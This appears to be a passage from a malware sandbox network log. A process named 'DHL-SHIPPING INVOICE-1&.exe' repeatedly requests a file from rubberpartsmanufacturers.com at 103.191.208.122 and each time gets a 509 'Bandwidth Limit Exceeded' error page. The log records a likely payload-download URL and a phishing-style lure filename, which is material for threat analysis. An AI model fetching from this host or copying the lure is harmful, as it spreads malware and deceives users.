2024-10-17 08:52:57 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:52:57 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:52:57 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49897	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:52:58 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:52:59 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:52:59 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:52:59 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	49904	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:53:00 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:53:00 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:53:00 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:53:00 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	49915	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:53:02 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:53:02 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:53:02 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:53:02 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	49925	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:53:03 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:53:03 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:53:03 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:53:03 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	49936	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:53:05 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:53:05 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:53:05 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:53:05 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	49943	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:53:06 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:53:06 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:53:06 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:53:06 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	49953	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:53:07 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:53:08 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:53:08 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:53:08 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	49962	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:53:09 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:53:09 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:53:09 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:53:09 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	49971	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:53:10 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:53:11 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:53:11 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:53:11 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	49979	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:53:12 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:53:12 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:53:12 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:53:12 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49989	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:53:13 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:53:14 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:53:14 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:53:14 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	50000	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:53:15 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:53:15 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:53:15 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:53:15 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	50007	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:53:16 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:53:17 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:53:17 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:53:17 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	50016	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:53:18 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:53:18 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:53:18 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:53:18 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	50023	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
